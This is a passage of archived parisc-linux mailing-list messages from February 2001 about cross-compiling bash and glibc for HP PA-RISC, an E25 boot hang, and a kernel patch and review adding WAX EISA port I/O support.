> last time I tried this, quite some time ago, it failed because
> /usr/include/ was being used for headers.  Maybe there's an easy way
> around this.
> 
> Alan Modra
> --
> Linuxcare.  Support for the Revolution.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cross-Compiling BASH
Date: Sun, 18 Feb 2001 11:30:59 +0100
Organization: private
Lines: 38
Approved: news@gmane.org
Message-ID: <3A8FA463.E18666D3@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619874 15724 80.91.229.3 (22 Nov 2014 01:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 03:31:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5B724A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 03:31:01 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-020.dot.at [212.9.128.60])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id LAA15941
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 11:43:56 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10276

How to build successfully a `bash', with other tools (expect
strace) I have not so big problems.

The `bash' built process has problems in `configure' in a cross compiled
environment.
It tries some functions via C examples, and they have difficulties to
determine the
result of a compile option, as this is not native....

I tried with 

	HOSTCC=gcc CC=hppa-linux-gcc ../configure --host=hppa-linux \
		 --prefix=/usr/parisc/hppa-linux 

Configure stops with:

checking for working alloca.h... yes
checking for alloca... yes
checking whether getpgrp takes no argument... configure: error: cannot
check getpgrp if cross compiling

How to build a bash (I am always interested in building from the scratch
(hobby)) !

With friendly regards

	Christoph P.





-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E25 lock-up during boot.
Date: Sun, 18 Feb 2001 11:39:38 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <01021811393800.31489@P100.helgenet.de>
References: <20010217134443.B0E4081DD@dsl2.external.hp.com> <3A8F20D1.20B10E28@tds.net> <20010218015215.E899@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619875 15728 80.91.229.3 (22 Nov 2014 01:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>, Scott Eggert <seggert@tds.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 03:38:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 27D824A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 03:38:19 -0700 (MST)
Original-Received: (qmail 30538 invoked by uid 0); 18 Feb 2001 10:37:52 -0000
Original-Received: from pd9040202.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.2)
  by mail.gmx.net (mp009-rz3) with SMTP; 18 Feb 2001 10:37:52 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010218015215.E899@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10277

On Sunday 18 February 2001 02:52, Matthew Wilcox wrote:
> On Sat, Feb 17, 2001 at 07:09:37PM -0600, Scott Eggert wrote:
> > I am attempting to ge PA installed on a HP9000 E25.  I am able to boot
> > from the 0.5 CD image, however it locks-up during the boot.  Any ideas?
>
> Which part of `E class is not supported' is hard to understand?  :-)
>
> > Searching for devices in PDC firmware... processor hpa 0xfffbe000
> > a newer box...
> > Found devices:
> > 1. Orville UX Core BA (11) at 0xf0100000, versions 0x12, 0x0, 0x81, 0x0,
> > 0x0 2. Orville Core Lan (802.3) (10) at 0xf0107000, versions 0x12, 0x0,
> > 0x8a, 0x0, 0 x0
> > That's a total of 2 devices.
> > No CPUs reported by firmware - probing...
> > Found CPU at fffbe000
> > POSIX conformance testing by UNIFIX
> > Lasi version 0 at 0xf0100000 found.
>
> Having said that, I bet this is the same problem as FAQ 9:
>
> I'm booting parisc linux on an early Series 700 workstation, and the
> machine hangs after printing:
>
> ASP version 1 at ..... found
>
> What's going on?
>
> This was a bug in the parallel port driver, which was fixed in CVS on
> 2000-11-29. You can workaround the problem by using a newer kernel or

The FAQ is wrong at this point.
You will need a kernel which is newer than 2001-02-16 
(http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-February/028548.html)
Maybe I should fix the FAQ again ASAP :-)

> by reconfiguring your kernel and removing support for the parallel port
> (CONFIG_PARPORT_GSC).
>
>
> But... there's no Lasi in an E-class.  Something's wrong with our detection
> routines, perhaps.  I admit to being curious about the `Core Lan' that's
> reported -- maybe it'll work.




From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile
  system
Date: Sun, 18 Feb 2001 22:19:20 +1100 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102182211441.18223-100000@front.linuxcare.com.au>
References: <3A8FA3D8.19E69EF6@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619875 15729 80.91.229.3 (22 Nov 2014 01:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 04:19:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF1224A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 04:19:46 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA19171;
	Sun, 18 Feb 2001 22:19:20 +1100
In-Reply-To: <3A8FA3D8.19E69EF6@dot.at>
Xref: news.gmane.org gmane.linux.ports.parisc:10278

On Sun, 18 Feb 2001, Christoph Plattner wrote:

> The GLIBC must be built with the line:
> 
> 	make user-defined-trusted-dirs=/lib 

Good.  There's probably other ways around the problem too.  Just be aware
that installing glibc built with the above in your cross-compiling machine
will probably be wrong.  Looking in /lib will pick up x86 libraries
instead of hppa-linux ones.

> Configure stops with:
> 
> checking for working alloca.h... yes
> checking for alloca... yes
> checking whether getpgrp takes no argument... configure: error: cannot
> check getpgrp if cross compiling

You can edit config.cache to set the correct values.  Doing so can be a
pain.  It's probably easier and better to compile native.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some progress with WAX_EISA (Who knows about interrupts?)
Date: Sun, 18 Feb 2001 16:59:16 +0100 (CET)
Lines: 241
Approved: news@gmane.org
Message-ID: <200102181559.QAA28579@zaphod.halden.lillfab.se>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY="-1463811727-1804289383-982511956=:30534"
X-Trace: ger.gmane.org 1416619875 15734 80.91.229.3 (22 Nov 2014 01:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alex@linuxcare.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 08:59:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailb.telia.com (mailb.telia.com [194.22.194.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id C920F4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 08:59:21 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t5o70p90.telia.com [195.67.239.90])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id QAA24432;
	Sun, 18 Feb 2001 16:59:18 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id QAA28579;
	Sun, 18 Feb 2001 16:59:16 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10279

---1463811727-1804289383-982511956=:30534
Content-Type: TEXT/plain; CHARSET=US-ASCII

Hello Alex and all.

Today I managed to get the ne driver to initialize my NE2k clone in the
EISA slot on my  715/old.
I have no idea on what to do about interrupts, so the do not work. But
port I/O seems to work which it did not do before.

For this to work the WAX EISA must be the first PCI bus adapter to be
registered with the PCI code or else it does not get to mapped to the
ISA port range. This will only be problematic on boxes where there are
both a EISA bus and a PCI bus and I do not know if there are any.

/Daniel 

-- 


---1463811727-1804289383-982511956=:30534
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Disposition: attachment ; filename="0218.diff"

Index: drivers/gsc/busdevice.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gsc/busdevice.c,v
retrieving revision 1.13
diff -u -p -r1.13 busdevice.c
--- busdevice.c	2000/12/22 20:50:23	1.13
+++ busdevice.c	2001/02/18 15:40:21
@@ -39,7 +39,7 @@
 #endif
 
 
-static struct pa_iodc_driver busdev_drivers_for[] __initdata = {
+static struct pa_iodc_driver busdev_drivers_for[] = {
 /* I'm pretty sure this covers them all. */
   {HPHW_BA, 0x0, 0, 0x00081, 0, 0,
 	DRIVER_CHECK_HWTYPE + DRIVER_CHECK_SVERSION,
@@ -275,6 +275,9 @@ int __init busdevices_init(void)
 
 #ifdef CONFIG_GSC_WAX
 	register_wax_driver();
+#endif
+#ifdef CONFIG_WAX_EISA
+	register_wax_eisa_driver();
 #endif
 
 	return 0;
Index: drivers/gsc/wax.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gsc/wax.c,v
retrieving revision 1.5
diff -u -p -r1.5 wax.c
--- wax.c	2000/12/22 20:50:23	1.5
+++ wax.c	2001/02/18 15:40:21
@@ -145,9 +145,6 @@ wax_init_chip(struct hp_device *d, struc
 	printk("%s: HIL Keyboard-NMI registered.\n", wax->name);
 #endif
 
-#ifdef CONFIG_WAX_EISA
-	register_wax_eisa_driver();
-#endif
 
 	return ret;
 }
Index: drivers/gsc/wax_eisa.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gsc/wax_eisa.c,v
retrieving revision 1.1
diff -u -p -r1.1 wax_eisa.c
--- wax_eisa.c	2000/12/22 20:50:23	1.1
+++ wax_eisa.c	2001/02/18 15:40:21
@@ -21,6 +21,7 @@
 #include <asm/hardware.h>
 #include <asm/gsc.h>
 #include <asm/irq.h>
+#include <linux/pci.h>
 #include <asm/pci.h>
 #include <asm/processor.h>
 
@@ -40,52 +41,45 @@ static struct pa_iodc_driver wax_eisa_dr
 };
 
 #define WAX_EISA_OUT(type, size) \
-static void wax_out##type (u##size d, int addr) \
+static void wax_out##type (struct pci_hba_data *hba, u16 addr, u##size d) \
 { \
 	u32 out_addr; \
-	if (((addr >= 0x00080000) && (addr < 0x00100000)) || \
-		((addr >= 0x00500000) && (addr < 0x03C00000))) { \
-		out_addr = 0xfc000000 + ((addr & 0xfc00) >> 6) + \
+        out_addr = (u32)hba->base_addr + ((addr & 0xfc00) >> 6) + \
 			((addr & 0x03f8) << 9) + (addr & 0x0007) ; \
-		gsc_write##type(d,out_addr); \
-	} else { \
-		printk("Wax EISA: Ack, cannot write to 0x%x\n",addr); \
-	} \
+	gsc_write##type(d,out_addr); \
 } 
 
+
 WAX_EISA_OUT(b,8)
 WAX_EISA_OUT(w,16)
 WAX_EISA_OUT(l,32)
 
 #define WAX_EISA_IN(type, size) \
-static u##size wax_in##type (int addr) \
+static u##size wax_in##type (struct pci_hba_data *hba, u16 addr) \
 { \
-	u32 out_addr; \
-	if (((addr >= 0x00080000) && (addr < 0x00100000)) || \
-		((addr >= 0x00500000) && (addr < 0x03C00000))) { \
-		out_addr = 0xfc000000 + ((addr & 0xfc00) >> 6) + \
-			((addr & 0x03f8) << 9) + (addr & 0x0007) ; \
-		return gsc_read##type(out_addr); \
-	} else { \
-		printk("WAX EISA Ack, cannot read from 0x%x\n",addr); \
-		return -1; \
-	} \
+	u32 in_addr; \
+        in_addr = (u32)hba->base_addr + ((addr & 0xfc00) >> 6) + \
+	       ((addr & 0x03f8) << 9) + (addr & 0x0007) ; \
+	return gsc_read##type(in_addr); \
 }
 
+
 WAX_EISA_IN(b,8)
 WAX_EISA_IN(w,16)
 WAX_EISA_IN(l,32)
 
 static struct pci_port_ops wax_port_ops = {
-	wax_inb, wax_inl, wax_inw,
-	wax_outb, wax_outl, wax_outw
+	wax_inb, wax_inw, wax_inl,
+	wax_outb, wax_outw, wax_outl
 };
 
 struct pci_hba_data wax_eisa_hba;
 
+/*
+ * What are these for? 
 #define outsl(x) outl((x))
 #define insl(x) inl((x))
-
+*/
 /*
 The following need to be created still.
 memset_io
@@ -117,9 +111,14 @@ wax_eisa_driver_init(struct hp_device *d
 
 	version = gsc_readw(d->hpa+0x7000);
 	printk(KERN_INFO "Wax EISA bus adapter version 0x%x at 0x%p\n",version,d->hpa);
-
-	pcibios_register_hba((struct pci_hba_data *) &wax_port_ops);
-
+        
+        /* I think that hpa is the only part that makes sence to us */
+        wax_eisa_hba.base_addr=d->hpa;
+   
+     
+	pcibios_register_hba((struct pci_hba_data *) &wax_eisa_hba);
+        pci_port = (struct pci_port_ops*) &wax_port_ops;
+   
 #if 0
 	/* Turn off lock control */
 	gsc_writeb(0x0,d->hpa + 0x10001); 
Index: include/asm-parisc/io.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/io.h,v
retrieving revision 1.15
diff -u -p -r1.15 io.h
--- io.h	2001/01/25 00:03:08	1.15
+++ io.h	2001/02/18 15:40:27
@@ -25,6 +25,7 @@
 #define writel gsc_writel
 
 
+
 #if defined(CONFIG_PCI) || defined(CONFIG_ISA)
 /*
  *	So we get clear link errors 
@@ -43,8 +44,34 @@ static inline void memcpy_toio(void *des
 		writeb(*((char *)src)++, (char *)dest++);
 }
 
-#endif
+/* ins and outs */
+#define PCI_PORT_OUTS(type, size) \
+extern inline void outs##type(unsigned short port, void * addr, unsigned long count) \
+{ while (count) { \
+    out##type(*(u##size*)addr, port); \
+    addr+=sizeof(u##size); \
+    count--; \
+  } \
+}
+
+PCI_PORT_OUTS(b,8)
+PCI_PORT_OUTS(w,16)
+PCI_PORT_OUTS(l,32)
 
+#define PCI_PORT_INS(type, size) \
+extern inline void ins##type(unsigned short port, void * addr, unsigned long count) \
+{ while (count) { \
+    *(u##size*)addr = in##type(port); \
+    addr+=sizeof(u##size); \
+    count--; \
+  } \
+} 
+
+PCI_PORT_INS(b,8)
+PCI_PORT_INS(w,16)
+PCI_PORT_INS(l,32)
+
+#endif
 /* IO Port space is :      BBiiii   where BB is HBA number. */
 #define IO_SPACE_LIMIT 0x00ffffff
 
Index: include/asm-parisc/irq.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/irq.h,v
retrieving revision 1.12
diff -u -p -r1.12 irq.h
--- irq.h	2000/11/02 08:14:13	1.12
+++ irq.h	2001/02/18 15:40:27
@@ -74,6 +74,9 @@ static __inline__ int irq_cannonicalize(
 
 extern void disable_irq(int);
 extern void enable_irq(int);
+/* It seems that the standard disable_irq() in parisc-linux 
+ * does not sync, so this should be safe */
+#define disable_irq_nosync(x) disable_irq(x)
 
 extern void do_irq_mask(unsigned long mask, struct irq_region *region,
 	struct pt_regs *regs);

---1463811727-1804289383-982511956=:30534--




From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target 
 rootfilesystem
Date: Sun, 18 Feb 2001 17:49:08 +0100
Organization: private
Lines: 64
Approved: news@gmane.org
Message-ID: <3A8FFD04.4A43A3D3@dot.at>
References: <Pine.LNX.4.21.0102182211441.18223-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619876 15735 80.91.229.3 (22 Nov 2014 01:31:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 09:49:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1BD64A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 09:49:16 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-047.dot.at [212.9.128.87])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id SAA18085;
	Sun, 18 Feb 2001 18:02:09 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10280

Point (1):

No you have no pain at this point. This `/lib' is GLIBC built in and is
only
evaluated from the shared library loader (./elf/dl-load.c) at runtime
(as
far as I understood the stuff). So this has no influence on any cross
built
process. On the running binary (on the target machine) sees two "lib
search 
strings" one to `/usr/parisc/hppa-linux/lib' and one to '/lib'. The
runnung
binary on the target (HP PA) can then try both and will find it in
'/lib'.

The file ./elf/ld-load.c is the only one using this information as far I
found
per `grep'.

But if I am wrong, please correct me.....

Point (2): 

I will see...

With friendly regards

	Christoph P.
	

Alan Modra wrote:
> 
> On Sun, 18 Feb 2001, Christoph Plattner wrote:
> 
> > The GLIBC must be built with the line:
> >
> >       make user-defined-trusted-dirs=/lib
> 
> Good.  There's probably other ways around the problem too.  Just be aware
> that installing glibc built with the above in your cross-compiling machine
> will probably be wrong.  Looking in /lib will pick up x86 libraries
> instead of hppa-linux ones.
> 
> > Configure stops with:
> >
> > checking for working alloca.h... yes
> > checking for alloca... yes
> > checking whether getpgrp takes no argument... configure: error: cannot
> > check getpgrp if cross compiling
> 
> You can edit config.cache to set the correct values.  Doing so can be a
> pain.  It's probably easier and better to compile native.
> 
> Alan Modra
> --
> Linuxcare.  Support for the Revolution.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about interrupts?)
Date: Sun, 18 Feb 2001 12:28:37 -0800
Lines: 90
Approved: news@gmane.org
Message-ID: <200102182028.MAA15119@milano.cup.hp.com>
References: <200102181559.QAA28579@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619876 15741 80.91.229.3 (22 Nov 2014 01:31:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:16 +0000 (UTC)
Cc: alex@linuxcare.com, parisc-linux@lists.parisc-linux.org
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 13:26:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CE1F4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 13:26:00 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 564B41127; Sun, 18 Feb 2001 12:25:55 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA15119;
	Sun, 18 Feb 2001 12:28:43 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 18 Feb 2001 16:59:16 PST."
             <200102181559.QAA28579@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10281

5116@telia.com wrote:
> Hello Alex and all.
> 
> Today I managed to get the ne driver to initialize my NE2k clone in the
> EISA slot on my  715/old.

Excellent! Good work!

> I have no idea on what to do about interrupts, so the do not work. But
> port I/O seems to work which it did not do before.

For some reason, I'm thinking the interrupts are routed through LASI
but I don't know why. The whole "Core I/O" interrupt routing is a
convoluted mess and I haven't looked at it in nearly a year.  I'm
afraid someone with access to HPUX source is going to have to unravel
that for you.

> For this to work the WAX EISA must be the first PCI bus adapter to be
> registered with the PCI code or else it does not get to mapped to the
> ISA port range.

That's not true. The "virtualized" bus numbers I think are confusing you.
Treat the addresses as "handles" to the address space and the EISA bus
support can strip off the bus number to get the real I/O Port address.

> This will only be problematic on boxes where there are
> both a EISA bus and a PCI bus and I do not know if there are any.

There are. Some of the workstations had all three: GSC, PCI, EISA slots.
There are even some systems with PA2.0 processors and EISA.

...
>  #define WAX_EISA_OUT(type, size) \
> -static void wax_out##type (u##size d, int addr) \
> +static void wax_out##type (struct pci_hba_data *hba, u16 addr, u##size d) \
...
> +        out_addr = (u32)hba->base_addr + ((addr & 0xfc00) >> 6) + \
>  			((addr & 0x03f8) << 9) + (addr & 0x0007) ; \

Note that the upper bits of the I/O port address are ignored anyway.
Ditto for the inb() functions.

...
> +        /* I think that hpa is the only part that makes sence to us */

typo: s/sence/sense/

> +        wax_eisa_hba.base_addr=d->hpa;
> +
> +	pcibios_register_hba((struct pci_hba_data *) &wax_eisa_hba);
> +        pci_port = (struct pci_port_ops*) &wax_port_ops;

Setting pci_port will prevent PCI I/O port space from working correctly
in the same box.  The design is "broken" because last year I didn't get
a clear answer on what is "PCI-like" and what isn't.

Let me propose the following:
o pci_port becomes an array (it doesn't look like pci_bios needs to)
o add "pci_port_ops *" parameter to pci_register_hba().
  pci_register_hba could then fill in the pci_port array.
o code in PCI_PORT_IN/OUT invoke (pci_port[b]->inb)(...) where 'b'
  is already used to look up bus specific data.

If someone is interested in making both PCI and EISA work in the same
box, please code up a patch with something along the lines of the above
proposal, I'll review and commit it. 

> +/* It seems that the standard disable_irq() in parisc-linux 
> + * does not sync, so this should be safe */
> +#define disable_irq_nosync(x) disable_irq(x)

Is "sync" instruction meant here?
Why is that a bad thing?

For SMP, we may eventually need both sync and/or dmasync instructions.
I don't understand all the issues on all platforms and thus just want
to document what people are thinking.

BTW, "disable_irq()" gets redirected to the region that owns the IRQ.
So for a CPU IRQ region, the code will land in disable_cpu_irq().
However, I don't expect EISA code to report directly to a CPU.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int
 errupts?)
Date: Mon, 19 Feb 2001 00:02:09 +0100 (CET)
Lines: 72
Approved: news@gmane.org
Message-ID: <200102182302.AAA30325@zaphod.halden.lillfab.se>
References: <200102182028.MAA15119@milano.cup.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619876 15742 80.91.229.3 (22 Nov 2014 01:31:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:16 +0000 (UTC)
Cc: alex@linuxcare.com, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 16:02:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maild.telia.com (maild.telia.com [194.22.190.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DAC84A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 16:02:16 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t2o70p109.telia.com [62.20.148.229])
	by maild.telia.com (8.9.3/8.9.3) with ESMTP id AAA13476;
	Mon, 19 Feb 2001 00:02:10 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id AAA30325;
	Mon, 19 Feb 2001 00:02:10 +0100
In-Reply-To: <200102182028.MAA15119@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10282

On 18 Feb, Grant Grundler wrote:
> 5116@telia.com wrote:
>> Hello Alex and all.

>> I have no idea on what to do about interrupts, so the do not work. But
>> port I/O seems to work which it did not do before.
> 
> For some reason, I'm thinking the interrupts are routed through LASI
> but I don't know why. The whole "Core I/O" interrupt routing is a
> convoluted mess and I haven't looked at it in nearly a year.  I'm
> afraid someone with access to HPUX source is going to have to unravel
> that for you.

I see that some machines (those with a LASI?) have another WAX device as
well as the was EISA BA, that is installed as an interrupt router
(drivers/gsc/wax.c) but my machine does not have this device, only the
WAX EISA BA ant the ASP.

>> For this to work the WAX EISA must be the first PCI bus adapter to be
>> registered with the PCI code or else it does not get to mapped to the
>> ISA port range.
> 
> That's not true. The "virtualized" bus numbers I think are confusing you.
> Treat the addresses as "handles" to the address space and the EISA bus
> support can strip off the bus number to get the real I/O Port address.
Yes, but ISA drivers vill expect that 0x300 is 0x300 ant not 0x20300.
PCI drivers all get their port addresses from probing the bus so they
will 'just work'.

 

> 
>> +        wax_eisa_hba.base_addr=d->hpa;
>> +
>> +	pcibios_register_hba((struct pci_hba_data *) &wax_eisa_hba);
>> +        pci_port = (struct pci_port_ops*) &wax_port_ops;
> 
> Setting pci_port will prevent PCI I/O port space from working correctly
> in the same box.  The design is "broken" because last year I didn't get
> a clear answer on what is "PCI-like" and what isn't.
> 
> Let me propose the following:
> o pci_port becomes an array (it doesn't look like pci_bios needs to)
> o add "pci_port_ops *" parameter to pci_register_hba().
>   pci_register_hba could then fill in the pci_port array.
> o code in PCI_PORT_IN/OUT invoke (pci_port[b]->inb)(...) where 'b'
>   is already used to look up bus specific data.
Yes, I had some idea in this direction to, are we sure this belongs in
the PCI layer? It might be thought of as an IO switch above the
PCI/EISA/what-ever as well.
 
>> +/* It seems that the standard disable_irq() in parisc-linux 
>> + * does not sync, so this should be safe */
>> +#define disable_irq_nosync(x) disable_irq(x)
>
> Is "sync" instruction meant here?
> Why is that a bad thing?
Well the i386 version is that disable_irq() waits until all pending
interrupts on the local processor have been serviced while
